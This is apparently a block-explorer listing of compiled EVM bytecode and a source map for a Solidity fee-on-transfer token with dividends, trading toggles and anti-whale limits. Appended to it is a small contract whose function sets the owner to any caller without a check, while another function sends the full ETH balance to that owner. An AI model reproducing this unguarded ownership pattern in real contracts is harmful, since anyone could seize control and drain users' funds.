079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b6000612746836001600160a01b03841661429f565b6001600160a01b03811660009081526001830160205260408120541515612746565b600080546001600160a01b03838116911614806131db5750600e546001600160a01b038381169116145b8061104d575050600f546001600160a01b0390811691161490565b6001600160a01b03831661324c5760405162461bcd60e51b815260206004820152601160248201527f417070726f76652066726f6d207a65726f0000000000000000000000000000006044820152606401610ca7565b6001600160a01b0382166132a25760405162461bcd60e51b815260206004820152600f60248201527f417070726f766520746f207a65726f00000000000000000000000000000000006044820152606401610ca7565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591016118ef565b600081156133655761330c836121a3565b1561333057506001600160a01b03821660009081526022602052604090205461104d565b6001600160a01b038316600090815260226020526040902054613354846001613f2e565b61335e9190615676565b905061104d565b61336e836121a3565b1561339257506001600160a01b03821660009081526024602052604090205461104d565b6001600160a01b03831660009081526024602052604081205490613354908590613f2e565b60165460ff16156133c757600080fd5b806134145760405162461bcd60e51b815260206004820152600260248201527f3d300000000000000000000000000000000000000000000000000000000000006044820152606401610ca7565b6016805460ff19166001908117909155546001600160a01b038381169116141561343d5761345f565b61344783826142ee565b80601c60008282546134599190615676565b90915550505b6000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146134ac576040519150601f19603f3d011682016040523d82523d6000602084013e6134b1565b606091505b50509050806135025760405162461bcd60e51b815260206004820152600f60248201527f7769746864726177206661696c656400000000000000000000000000000000006044820152606401610ca7565b506016805460ff19169055604080516001600160a01b038086168252841660208201529081018290527f4502ea0b589a3654560cf0b4c523bff3a37e104e547555bb0ecab1d9493a3eb99060600160405180910390a1505050565b60165460ff161561356d57600080fd5b6016805460ff191660011790556000613585846121a3565b156135e6576011546001600160a01b03848116911614156135c357506001600160a01b03831660009081526022602052604081208054919055613705565b506001600160a01b03831660009081526024602052604081208054919055613705565b6011546001600160a01b0384811691161415613683576000613609856001613f2e565b6001600160a01b03861660009081526002602052604090205460195491925061363191615816565b6001600160a01b038616600090815260216020908152604080832093909355602290522054613661908290615676565b6001600160a01b03861660009081526022602052604081205591506137059050565b6000613690856000613f2e565b6001600160a01b038616600090815260026020526040902054601a549192506136b891615816565b6001600160a01b0386166000908152602360209081526040808320939093556024905220546136e8908290615676565b6001600160a01b0386166000908152602460205260408120559150505b80158015613711575081155b156137265750506016805460ff191690555050565b80601c60008282546137389190615676565b9091555061374890508282615676565b60408051600280825260608201835292935060009290916020830190803683375050601454604080517fad5c464800000000000000000000000000000000000000000000000000000000815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b1580156137cb57600080fd5b505afa1580156137df573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061380391906152be565b8160008151811061383d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b0316815250508381600181518110613898577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546040517fb6f9de9500000000000000000000000000000000000000000000000000000000815291169063b6f9de959084906138f79060009086908b904290600401615594565b6000604051808303818588803b15801561391057600080fd5b505af1158015613924573d6000803e3d6000fd5b50505050507f2ffc7392cfc852563f87a930acb52ee96fbd5607bd8476d3bf3b9c59340854e0828587604051613976939291909283526001600160a01b03918216602084015216604082015260600190565b60405180910390a150506016805460ff19169055505050565b6000612746836001600160a01b038416614436565b60155481116139b257600080fd5b601555565b6001600160a01b038316613a0d5760405162461bcd60e51b815260206004820152601260248201527f5472616e736665722066726f6d207a65726f00000000000000000000000000006044820152606401610ca7565b6001600160a01b038216613a635760405162461bcd60e51b815260206004820152601060248201527f5472616e7366657220746f207a65726f000000000000000000000000000000006044820152606401610ca7565b6000613a7060048561318f565b80613a815750613a8160048461318f565b905060006001600160a01b038516301480613aa457506001600160a01b03841630145b6014546013549192506001600160a01b03908116916000918881169116148015613adf5750816001600160a01b0316866001600160a01b0316145b80613b1357506013546001600160a01b038781169116148015613b135750816001600160a01b0316876001600160a01b0316145b6013549091506000906001600160a01b0388811691161480613b465750826001600160a01b0316876001600160a01b0316145b6013549091506000906001600160a01b038a811691161480613b795750836001600160a01b0316896001600160a01b0316145b90508480613b845750825b80613b8c5750855b15613ba157613b9c898989614598565b613c06565b60265462010000900460ff16613bf95760405162461bcd60e51b815260206004820152601760248201527f74726164696e67206e6f742079657420656e61626c65640000000000000000006044820152606401610ca7565b613c068989898486614696565b505050505050505050565b60006006600a54613c229190615676565b421115613c435750600b546c01000000000000000000000000900460ff1690565b6000600a5442613c539190615853565b90506000600682600b600c9054906101000a900460ff166063613c76919061586a565b60ff16613c839190615816565b613c8d91906156b3565b612746906063615853565b6001600160a01b038216600090815260026020526040812054613cbc908390615853565b9050613cc7836121a3565b15613cec576001600160a01b0390921660009081526002602052604090209190915550565b8160186000828254613cfe9190615853565b9091555060009050613d11846001613f2e565b90506000613d20856000613f2e565b6001600160a01b0386166000908152600260205260409020849055601954909150613d4c908490615816565b6001600160a01b038616600090815260216020908152604080832093909355602290529081208054849290613d82908490615676565b9091555050601a54613d95908490615816565b6001600160a01b038616600090815260236020908152604080832093909355602490529081208054839290613dcb908490615676565b90915550505050505050565b6001600160a01b038216600090815260026020526040812054613dfb908390615676565b9050613e06836121a3565b15613e2b576001600160a01b0390921660009081526002602052604090209190915550565b8160186000828254613e3d9190615676565b9091555060009050613e50846001613f2e565b90506000613e5f856000613f2e565b6001600160a01b0386166000908152600260205260409020849055601954909150613e8b908490615816565b6001600160a01b038616600090815260216020908152604080832093909355602290529081208054849290613ec1908490615676565b9091555050601a54613ed4908490615816565b6001600160a01b038616600090815260236020908152604080832093909355602490529081208054839290613f0a908490615676565b9091555050506001600160a01b039093166000908152600260205260409020555050565b60008115613fc9576001600160a01b038316600090815260026020526040812054601954613f5c9190615816565b6001600160a01b038516600090815260216020526040902054909150811015613f8957600091505061104d565b6001600160a01b0384166000908152602160205260409020546801000000000000000090613fb79083615853565b613fc191906156b3565b91505061104d565b6001600160a01b038316600090815260026020526040812054601a54613fef9190615816565b6001600160a01b03851660009081526023602052604090205490915081101561401c57600091505061104d565b6001600160a01b0384166000908152602360205260409020546801000000000000000090613fb79083615853565b6026805460ff191660011790556101f461ffff8316111561406a57600080fd5b30600090815260026020526040812054600b5490919060ff6b0100000000000000000000008204811691660100000000000081048216916801000000000000000082048116916140d8916a01000000000000000000008204811691690100000000000000000090041661568e565b6140e2919061568e565b6140ec919061568e565b6140f6919061568e565b60ff16905080614107575050614291565b6013546001600160a01b03166000908152600260205260408120546103e8906141359061ffff881690615816565b61413f91906156b3565b9050600d5481118015614150575083155b1561415a5750600d545b808310801561417a5784156141715783915061417a565b50505050614291565b600b5460009061ffff8516906141a0906901000000000000000000900460ff1685615816565b6141aa91906156b3565b905060006141b88285615853565b905060006141c76002846156b3565b905060006141d58285615853565b905060006141e38483615676565b9050476141ef82614b1c565b60006141fb8247615853565b905060008361420a8684615816565b61421491906156b3565b90506142208682614d04565b6001546001600160a01b03166000600a600961423c8747615853565b6142469190615816565b61425091906156b3565b905060008161425f8747615853565b6142699190615853565b9050614276826001614ded565b6142818384836133b7565b5050505050505050505050505050505b50506026805460ff19169055565b60008181526001830160205260408120546142e65750815460018181018455600084815260208082209093018490558454848252828601909352604090209190915561104d565b50600061104d565b806142f7575050565b6143028260006132fb565b8111156143515760405162461bcd60e51b815260206004820152601060248201527f65786365656473206469766964656e74000000000000000000000000000000006044820152606401610ca7565b61435c60068361318f565b15614394576001600160a01b03821660009081526024602052604081208054839290614389908490615853565b9091555061162c9050565b60006143a1836000613f2e565b6001600160a01b038416600090815260026020526040902054601a549192506143c991615816565b6001600160a01b0384166000908152602360209081526040808320939093556024905290812080548392906143ff908490615676565b90915550506001600160a01b0383166000908152602460205260408120805484929061442c908490615853565b9091555050505050565b6000818152600183016020526040812054801561458e57600061445a600183615853565b855490915060009061446e90600190615853565b905060008660000182815481106144ae577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549050808760000184815481106144f8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600091825260208083209091019290925582815260018901909152604090208490558654879080614552577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160009055905586600101600087815260200190815260200160002060009055600194505050505061104d565b600091505061104d565b6001600160a01b038316600090815260026020526040902054818110156146015760405162461bcd60e51b815260206004820152601860248201527f5472616e7366657220657863656564732062616c616e636500000000000000006044820152606401610ca7565b61460b8483613c98565b6146158383613dd7565b6010546001600160a01b038481169116141561464357816008600082825461463d9190615853565b90915550505b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161468891815260200190565b60405180910390a350505050565b6001600160a01b03808516600090815260026020526040808220549288168252902054848110156147095760405162461bcd60e51b815260206004820152601860248201527f5472616e7366657220657863656564732062616c616e636500000000000000006044820152606401610ca7565b6000831561478057600d548611156147635760405162461bcd60e51b815260206004820152600f60248201527f44756d702070726f74656374696f6e00000000000000000000000000000000006044820152606401610ca7565b50600b546d0100000000000000000000000000900460ff16614974565b841561481b576147926012600a61574d565b86116147b1576011546147b19088906001600160a01b0316600061355d565b600c546147be8785615676565b111561480c5760405162461bcd60e51b815260206004820152601060248201527f7768616c652070726f74656374696f6e000000000000000000000000000000006044820152606401610ca7565b614814615021565b9050614974565b6148276012600a61574d565b86116148ff57601460009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561487b57600080fd5b505afa15801561488f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906148b391906152be565b6012546001600160a01b03908116911614156148de576148d933336113a33360006132fb565b6148f7565b6012546148f79033906001600160a01b0316600061355d565b505050614b15565b600c5461490c8785615676565b111561495a5760405162461bcd60e51b815260206004820152601060248201527f7768616c652070726f74656374696f6e000000000000000000000000000000006044820152606401610ca7565b50600b546e010000000000000000000000000000900460ff165b6013546001600160a01b0389811691161480159061499a5750602654610100900460ff16155b80156149a9575060265460ff16155b80156149b25750835b156149c9576020546149c99061ffff16600061404a565b60006149e58783600b60079054906101000a900460ff16615246565b600b54909150600090614a71908990859060ff6b010000000000000000000000820481169166010000000000008104821691680100000000000000008204811691614a4e91690100000000000000000082048116916a010000000000000000000090041661568e565b614a58919061568e565b614a62919061568e565b614a6c919061568e565b615246565b90506000614a7f8284615676565b614a89908a615853565b9050614a958b8a613c98565b614a9f3083613dd7565b8260086000828254614ab19190615853565b90915550614ac190508a82613dd7565b896001600160a01b03168b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051614b0691815260200190565b60405180910390a35050505050505b5050505050565b601454614b349030906001600160a01b0316836131f6565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110614b90577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080517fad5c46480000000000000000000000000000000000000000000000000000000081529051919093169263ad5c4648926004808301939192829003018186803b158015614bfd57600080fd5b505afa158015614c11573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190614c3591906152be565b81600181518110614c6f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546040517f791ac94700000000000000000000000000000000000000000000000000000000815291169063791ac94790614cce90859060009086903090429060040161563a565b600060405180830381600087803b158015614ce857600080fd5b505af1158015614cfc573d6000803e3d6000fd5b505050505050565b8060256000828254614d169190615676565b9091555050601454614d339030906001600160a01b0316846131f6565b6014546040517ff305d719000000000000000000000000000000000000000000000000000000008152306004820181905260248201859052600060448301819052606483015260848201524260a48201526001600160a01b039091169063f305d71990839060c4016060604051808303818588803b158015614db457600080fd5b505af1158015614dc8573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190614b15919061544b565b600b54600090606490614e0f9068010000000000000000900460ff1685615816565b614e1991906156b3565b600b54909150600090606490614e3c906601000000000000900460ff1686615816565b614e4691906156b3565b600b54909150600090606490614e6e906b010000000000000000000000900460ff1687615816565b614e7891906156b3565b9050600081614e878486615676565b614e919190615676565b614e9b9087615853565b600b54909150600090606490614ec7906f01000000000000000000000000000000900460ff1684615816565b614ed191906156b3565b600b54909150600090606490614efe90700100000000000000000000000000000000900460ff1685615816565b614f0891906156b3565b905085601d6000828254614f1c9190615676565b9091555050601d54601755601e8054869190600090614f3c908490615676565b9250508190555083601f6000828254614f559190615676565b90915550508215615017578615614f7e5782601b6000828254614f789190615676565b90915550505b6000614f88612e62565b905080614fac5783601d6000828254614fa19190615676565b90915550613c069050565b80614fc06801000000000000000085615816565b614fca91906156b3565b60196000828254614fdb9190615676565b90915550819050614ff56801000000000000000084615816565b614fff91906156b3565b601a60008282546150109190615676565b9091555050505b5050505050505050565b60095460009060ff166150485750600b546c01000000000000000000000000900460ff1690565b6006600a546150579190615676565b42101561506857600061104d613c11565b506009805460ff19169055600b80547fffffffffffffffffffffffffffffffffffffffffff0000ffffffffffffffffff7fffffffffffffffffffffffffffffffffffffffffffffff0000ffffffffffffff7fffffffffffffffffffffffffffffffffffffffff00ffffffff00ffffffffffff83167fffffffffffffffffffffffffffffffffffffffffffffffffff00ffffffffffff60ff65010000000000860481166b010000000000000000000000029182169290921794821690821617660100000000000002939093179081167fffffffffffffffffffffffffffffffffffffffffffffff00ffffffffffffffff610100830485166701000000000000000290811691909117620100007fffffffffffffffffffffffffffffffffffffffffffffffff00ffffffffffffff9093169091179190910483166801000000000000000002179081167fffffffffffffffffffffffffffffffffffffffffff00ffffffffffffffffffff630100000083048416690100000000000000000002908116919091176401000000007fffffffffffffffffffffffffffffffffffffffffffff00ffffffffffffffffff9093169091179190910482166a01000000000000000000000217918290556c010000000000000000000000009091041690565b60006127108260ff168460ff168661525e9190615816565b6152689190615816565b61527291906156b3565b949350505050565b803561ffff8116811461528c57600080fd5b919050565b803560ff8116811461528c57600080fd5b6000602082840312156152b3578081fd5b8135612746816158bc565b6000602082840312156152cf578081fd5b8151612746816158bc565b600080604083850312156152ec578081fd5b82356152f7816158bc565b91506020830135615307816158bc565b809150509250929050565b600080600060608486031215615326578081fd5b8335615331816158bc565b92506020840135615341816158bc565b929592945050506040919091013590565b60008060408385031215615364578182fd5b823561536f816158bc565b946020939093013593505050565b60006020828403121561538e578081fd5b8135612746816158d1565b6000602082840312156153aa578081fd5b8151612746816158d1565b6000602082840312156153c6578081fd5b6127468261527a565b600080604083850312156153e1578182fd5b6153ea8361527a565b91506020830135615307816158d1565b60006020828403121561540b578081fd5b5035919050565b600060208284031215615423578081fd5b5051919050565b6000806040838503121561543c578182fd5b50508035926020909101359150565b60008060006060848603121561545f578283fd5b8351925060208401519150604084015190509250925092565b6000806040838503121561548a578182fd5b61549383615291565b91506154a160208401615291565b90509250929050565b60008060008060008060008060006101208a8c0312156154c8578485fd5b6154d18a615291565b98506154df60208b01615291565b97506154ed60408b01615291565b96506154fb60608b01615291565b955061550960808b01615291565b945061551760a08b01615291565b935061552560c08b01615291565b925061553360e08b01615291565b91506155426101008b01615291565b90509295985092959850929598565b6000815180845260208085019450808401835b838110156155895781516001600160a01b031687529582019590820190600101615564565b509495945050505050565b8481526080602082015260006155ad6080830186615551565b6001600160a01b03949094166040830152506060015292915050565b6000602080835283518082850152825b818110156155f5578581018301518582016040015282016155d9565b818111156156065783604083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016929092016040019392505050565b85815284602082015260a06040820152600061565960a0830186615551565b6001600160a01b0394909416606083015250608001529392505050565b600082198211156156895761568961588d565b500190565b600060ff821660ff84168060ff038211156156ab576156ab61588d565b019392505050565b6000826156e7577f4e487b710000000000000000000000000000000000000000000000000000000081526012600452602481fd5b500490565b600181815b8085111561574557817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0482111561572b5761572b61588d565b8085161561573857918102915b93841c93908002906156f1565b509250929050565b600061274660ff8416836000826157665750600161104d565b816157735750600061104d565b81600181146157895760028114615793576157af565b600191505061104d565b60ff8411156157a4576157a461588d565b50506001821b61104d565b5060208310610133831016604e8410600b84101617156157d2575081810a61104d565b6157dc83836156ec565b807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0482111561580e5761580e61588d565b029392505050565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561584e5761584e61588d565b500290565b6000828210156158655761586561588d565b500390565b600060ff821660ff8416808210156158845761588461588d565b90039392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6001600160a01b03811681146115c957600080fd5b80151581146115c957600080fdfea2646970667358221220e3f0c6de8178adf3e2b7997ffb4dedebd380c0514a7c23b7af5606b33851ba2764736f6c63430008040033608060405234801561001057600080fd5b5061014e806100206000396000f3fe60806040526004361061002a5760003560e01c806327c845dc14610033578063ff1899c21461004857005b3661003157005b005b34801561003f57600080fd5b50610031610084565b34801561005457600080fd5b50610031600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001633179055565b60005473ffffffffffffffffffffffffffffffffffffffff1633146100a857600080fd5b6000805460405173ffffffffffffffffffffffffffffffffffffffff9091169047908381818185875af1925050503d8060008114610102576040519150601f19603f3d011682016040523d82523d6000602084013e610107565b606091505b505090508061011557600080fd5b5056fea26469706673582212209f6820d04d6ea62b0e93e75cff14e28c5c485037ff9b6e1c1683f71c61f47c5064736f6c63430008040033

Deployed ByteCode Sourcemap

16138:33161:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;44879:1027;;;;;;;;;;-1:-1:-1;44879:1027:0;;;;;:::i;:::-;;:::i;48067:94::-;;;;;;;;;;-1:-1:-1;48148:5:0;;;;;;;;;;;;;;;;;48067:94;;;;;;;:::i;:::-;;;;;;;;21070:161;;;;;;;;;;-1:-1:-1;21070:161:0;;;;;:::i;:::-;;:::i;:::-;;;7559:14:1;;7552:22;7534:41;;7522:2;7507:18;21070:161:0;7489:92:1;41008:488:0;;;;;;;;;;-1:-1:-1;41008:488:0;;;;;:::i;:::-;;:::i;29806:27::-;;;;;;;;;;;;;;;;;;;19694:25:1;;;19682:2;19667:18;29806:27:0;19649:76:1;24817:226:0;;;;;;;;;;;;;:::i;43349:192::-;;;;;;;;;;-1:-1:-1;43349:192:0;;;;;:::i;:::-;;:::i;48377:108::-;;;;;;;;;;-1:-1:-1;48459:18:0;;48377:108;;43075:228;;;;;;;;;;-1:-1:-1;43075:228:0;;;;;:::i;:::-;;:::i;27561:146::-;;;;;;;;;;-1:-1:-1;27561:146:0;;;;;:::i;:::-;;:::i;18649:68::-;;;;;;;;;;-1:-1:-1;18649:68:0;;;;-1:-1:-1;;;;;18649:68:0;;;;;;-1:-1:-1;;;;;5987:55:1;;;5969:74;;5957:2;5942:18;18649:68:0;5924:125:1;46245:109:0;;;;;;;;;;-1:-1:-1;46245:109:0;;;;;:::i;:::-;;:::i;29984:32::-;;;;;;;;;;-1:-1:-1;29984:32:0;;;;;;;;;;;19529:6:1;19517:19;;;19499:38;;19487:2;19472:18;29984:32:0;19454:89:1;22406:392:0;;;;;;;;;;-1:-1:-1;22406:392:0;;;;;:::i;:::-;;:::i;18008:30::-;;;;;;;;;;-1:-1:-1;18008:30:0;;;;-1:-1:-1;;;;;18008:30:0;;;48635:215;;;;;;;;;;;;;:::i;48858:432::-;;;;;;;;;;;;;:::i;:::-;;;;21367:25:1;;;21423:2;21408:18;;21401:34;;;;21451:18;;;21444:34;;;;21509:2;21494:18;;21487:34;;;;21552:3;21537:19;;21530:35;;;;21596:3;21581:19;;21574:35;21640:3;21625:19;;21618:35;21684:3;21669:19;;21662:35;21728:3;21713:19;;21706:35;21354:3;21339:19;48858:432:0;21321:426:1;42557:466:0;;;;;;;;;;-1:-1:-1;42557:466:0;;;;;:::i;:::-;;:::i;48275:94::-;;;;;;;;;;-1:-1:-1;16667:2:0;48275:94;;;21924:4:1;21912:17;;;21894:36;;21882:2;21867:18;48275:94:0;21849:87:1;22018:205:0;;;;;;;;;;-1:-1:-1;22018:205:0;;;;;:::i;:::-;;:::i;29944:29::-;;;;;;;;;;;;;;;;16676:64;;;;;;;;;;;;;:::i;29840:27::-;;;;;;;;;;;;;;;;46131:108;;;;;;;;;;-1:-1:-1;46131:108:0;;;;;:::i;:::-;;:::i;17944:25::-;;;;;;;;;;;;;;;;47397:26;;;;;;;;;;-1:-1:-1;47397:26:0;;;;;;;;;;;41540:569;;;;;;;;;;-1:-1:-1;41540:569:0;;;;;:::i;:::-;;:::i;47498:359::-;;;;;;;;;;-1:-1:-1;47498:359:0;;;;;:::i;:::-;;:::i;17976:25::-;;;;;;;;;;;;;;;;17012:30;;;;;;;;;;;;;;;;46412:286;;;;;;;;;;-1:-1:-1;46412:286:0;;;;;:::i;:::-;;:::i;48497:124::-;;;;;;;;;;;;;:::i;:::-;;;;20917:25:1;;;20973:2;20958:18;;20951:34;;;;20890:18;48497:124:0;20872:119:1;21542:121:0;;;;;;;;;;-1:-1:-1;21542:121:0;;;;;:::i;:::-;-1:-1:-1;;;;;21637:18:0;21610:7;21637:18;;;:9;:18;;;;;;;21542:121;45967:152;;;;;;;;;;-1:-1:-1;45967:152:0;;;;;:::i;:::-;;:::i;28010:357::-;;;;;;;;;;;;;:::i;8257:140::-;;;;;;;;;;;;;:::i;30632:132::-;;;;;;;;;;-1:-1:-1;30632:132:0;;;;;:::i;:::-;;:::i;27047:182::-;;;;;;;;;;-1:-1:-1;27047:182:0;;;;;:::i;:::-;;:::i;43591:212::-;;;;;;;;;;;;;:::i;47965:94::-;;;;;;;;;;-1:-1:-1;48017:7:0;8113:6;-1:-1:-1;;;;;8113:6:0;47965:94;48635:215;28431:718;;;;;;;;;;;;;:::i;33814:25::-;;;;;;;;;;;;;;;;26780:150;;;;;;;;;;-1:-1:-1;26780:150:0;;;;;:::i;:::-;;:::i;48169:98::-;;;;;;;;;;-1:-1:-1;48252:7:0;;;;;;;;;;;;;;;;;48169:98;;44734:89;;;;;;;;;;-1:-1:-1;44734:89:0;;;;;:::i;:::-;;:::i;26579:149::-;;;;;;;;;;-1:-1:-1;26579:149:0;;;;;:::i;:::-;;:::i;16747:46::-;;;;;;;;;;;;;;;;21669:342;;;;;;;;;;-1:-1:-1;21669:342:0;;;;;:::i;:::-;;:::i;22233:167::-;;;;;;;;;;-1:-1:-1;22233:167:0;;;;;:::i;:::-;;:::i;30263:243::-;;;;;;;;;;-1:-1:-1;30263:243:0;;;;;:::i;:::-;;:::i;18526:68::-;;;;;;;;;;-1:-1:-1;18526:68:0;;;;-1:-1:-1;;;;;18526:68:0;;;27315:101;;;;;;;;;;-1:-1:-1;27315:101:0;;;;;:::i;:::-;;:::i;46710:675::-;;;;;;;;;;-1:-1:-1;46710:675:0;;;;;:::i;:::-;;:::i;29253:273::-;;;;;;;;;;;;;:::i;18208:69::-;;;;;;;;;;-1:-1:-1;18208:69:0;;;;-1:-1:-1;;;;;18208:69:0;;;43854:231;;;;;;;;;;-1:-1:-1;43854:231:0;;;;;:::i;:::-;;:::i;44425:255::-;;;;;;;;;;-1:-1:-1;44425:255:0;;;;;:::i;:::-;;:::i;24644:88::-;;;;;;;;;;;;;:::i;30518:106::-;;;;;;;;;;;;;:::i;42121:332::-;;;;;;;;;;-1:-1:-1;42121:332:0;;;;;:::i;:::-;;:::i;29912:25::-;;;;;;;;;;;;;;;;20917:147;;;;;;;;;;-1:-1:-1;20917:147:0;;;;;:::i;:::-;-1:-1:-1;;;;;21028:19:0;;;21001:7;21028:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;20917:147;17186:31;;;;;;;;;;;;17215:2;17186:31;;44138:236;;;;;;;;;;;;;:::i;8403:::-;;;;;;;;;;-1:-1:-1;8403:236:0;;;;;:::i;:::-;;:::i;29874:31::-;;;;;;;;;;;;;;;;44879:1027;18948:23;18960:10;18948:11;:23::i;:::-;18940:57;;;;-1:-1:-1;;;18940:57:0;;16339:2:1;18940:57:0;;;16321:21:1;16378:2;16358:18;;;16351:30;16417:23;16397:18;;;16390:51;16458:18;;18940:57:0;;;;;;;;;45092:14:::1;45173:8:::0;45160:12;45150:9;45135:14;45107:27:::1;45122:12:::0;45107:14;:27:::1;:::i;:::-;:42;;;;:::i;:::-;:52;;;;:::i;:::-;:65;;;;:::i;:::-;:74;;;;:::i;:::-;45092:89;;45392:8;:13;;45402:3;45392:13;45384:67;;;::::0;-1:-1:-1;;;45384:67:0;;15929:2:1;45384:67:0::1;::::0;::::1;15911:21:1::0;15968:2;15948:18;;;15941:30;16007:34;15987:18;;;15980:62;16078:11;16058:18;;;16051:39;16107:19;;45384:67:0::1;15901:231:1::0;45384:67:0::1;17215:2;45470:14;::::0;::::1;;::::0;::::1;::::0;:31:::1;;-1:-1:-1::0;17215:2:0::1;45486:15;::::0;::::1;;;45470:31;45462:68;;;::::0;-1:-1:-1;;;45462:68:0;;17033:2:1;45462:68:0::1;::::0;::::1;17015:21:1::0;17072:2;17052:18;;;17045:30;17111:27;17091:18;;;17084:55;17156:18;;45462:68:0::1;17005:175:1::0;45462:68:0::1;45562:2;45549:11;:15;;;;45541:66;;;::::0;-1:-1:-1;;;45541:66:0;;17732:2:1;45541:66:0::1;::::0;::::1;17714:21:1::0;17771:2;17751:18;;;17744:30;17810:34;17790:18;;;17783:62;17881:9;17861:18;;;17854:37;17908:19;;45541:66:0::1;17704:229:1::0;45541:66:0::1;-1:-1:-1::0;45618:8:0::1;:18:::0;;45647:24;;45618:18;::::1;::::0;;::::1;;45647:24:::0;;;;;;::::1;::::0;;;::::1;::::0;;;::::1;45709:28:::0;;45682:16;;;::::1;::::0;;;::::1;45709:28:::0;;;;;;;;;::::1;::::0;;;::::1;::::0;;;::::1;45787:24:::0;;45748:28;;;::::1;::::0;;;::::1;45787:24:::0;;;;;;;;;::::1;::::0;;;::::1;;45847:16:::0;;45822:14;;;::::1;::::0;;;::::1;45847:16:::0;;;;;;::::1;::::0;;;::::1;;45874:24:::0;::::1;::::0;;;;::::1;;::::0;;;::::1;::::0;;44879:1027::o;21070:161::-;21147:4;21164:37;21173:10;21185:7;21194:6;21164:8;:37::i;:::-;-1:-1:-1;21219:4:0;21070:161;;;;;:::o;41008:488::-;18948:23;18960:10;18948:11;:23::i;:::-;18940:57;;;;-1:-1:-1;;;18940:57:0;;16339:2:1;18940:57:0;;;16321:21:1;16378:2;16358:18;;;16351:30;16417:23;16397:18;;;16390:51;16458:18;;18940:57:0;16311:171:1;18940:57:0;41092:14:::1;;41084:6;:22;;41076:65;;;::::0;-1:-1:-1;;;41076:65:0;;10038:2:1;41076:65:0::1;::::0;::::1;10020:21:1::0;10077:2;10057:18;;;10050:30;10116:32;10096:18;;;10089:60;10166:18;;41076:65:0::1;10010:180:1::0;41076:65:0::1;41168:6;41152:14;;:22;;;;;;;:::i;:::-;::::0;;;-1:-1:-1;;41219:16:0::1;::::0;;41233:1:::1;41219:16:::0;;;;;::::1;::::0;;41195:21:::1;::::0;41219:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;-1:-1:-1::0;;41256:14:0::1;::::0;:21:::1;::::0;;;;;;;41195:40;;-1:-1:-1;;;;;;41256:14:0;;::::1;::::0;:19:::1;::::0;-1:-1:-1;41256:21:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;:14;:21;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;41246:4;41251:1;41246:7;;;;;;;;;;;;;;;;;;;;;:31;-1:-1:-1::0;;;;;41246:31:0::1;;;-1:-1:-1::0;;;;;41246:31:0::1;;;::::0;::::1;41306:4;41288;41293:1;41288:7;;;;;;;;;;;;;;;;-1:-1:-1::0;;;;;41288:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;:23;41324:14:::1;::::0;41442:11:::1;::::0;41324:156:::1;::::0;;;;:14;;::::1;::::0;:65:::1;::::0;41397:6;;41324:156:::1;::::0;:14:::1;::::0;41427:4;;41442:11;;::::1;::::0;41464:15:::1;::::0;41324:156:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;19008:1;41008:488:::0;:::o;24817:226::-;24877:14;;;;;;;;;-1:-1:-1;;;;;24877:14:0;-1:-1:-1;;;;;24877:19:0;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;